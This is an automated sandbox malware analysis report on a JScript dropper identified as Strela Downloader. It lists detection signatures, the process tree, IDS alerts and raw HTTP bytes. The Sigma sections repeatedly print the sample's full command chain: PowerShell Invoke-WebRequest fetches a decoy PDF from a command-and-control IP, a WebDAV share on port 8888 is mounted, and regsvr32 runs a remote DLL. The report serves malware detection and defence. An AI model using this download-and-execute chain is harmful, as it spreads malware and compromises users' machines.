Edit tour

Windows Analysis Report
301425897285010519.js

Overview

General Information

Sample name:	301425897285010519.js
Analysis ID:	1588717
MD5:	8a3a4166a6eb9f5d412192a515389034
SHA1:	0be6ae3d269c672f02c8ac55a46d806d5e97acbe
SHA256:	2823cbf21b456d6b99bbc2650319d58e1dea8c690a8a419e942e0af7d89147c3
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6948 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\301425897285010519.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5988 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1683151892189.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5632 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6692 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7244 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7456 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7640 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1732,i,5061509526471365428,15526623625031714904,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7260 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7292 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7516 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6948	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1683151892189.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5988, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6692, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1683151892189.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5988, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6692, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\301425897285010519.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\301425897285010519.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2592, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\301425897285010519.js", ProcessId: 6948, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7292, Protocol: tcp, SourceIp: 192.168.2.11, SourceIsIpv6: false, SourcePort: 49738

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1683151892189.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1683151892189.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\301425897285010519.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6948, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1683151892189.dll, ProcessId: 5988, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1683151892189.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1683151892189.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\301425897285010519.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6948, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1683151892189.dll, ProcessId: 5988, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1683151892189.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1683151892189.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\301425897285010519.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6948, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1683151892189.dll, ProcessId: 5988, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1683151892189.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1683151892189.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\301425897285010519.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6948, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1683151892189.dll, ProcessId: 5988, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1683151892189.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1683151892189.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\301425897285010519.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6948, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1683151892189.dll, ProcessId: 5988, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\301425897285010519.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\301425897285010519.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2592, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\301425897285010519.js", ProcessId: 6948, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1683151892189.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5988, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6692, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7260, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7292, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7516, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7260, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7292, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1683151892189.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1683151892189.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\301425897285010519.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6948, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1683151892189.dll, ProcessId: 5988, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:35:37.479484+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.11	49723	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:35:39.785428+0100	1810005	1	Potentially Bad Traffic	192.168.2.11	49738	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:35:37.479484+0100	1810000	2	Potentially Bad Traffic	192.168.2.11	49723	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 301425897285010519.js

Virustotal: Detection: 8%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 301425897285010519.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 301425897285010519.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.11:49723 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.11:49738 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:35:37 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

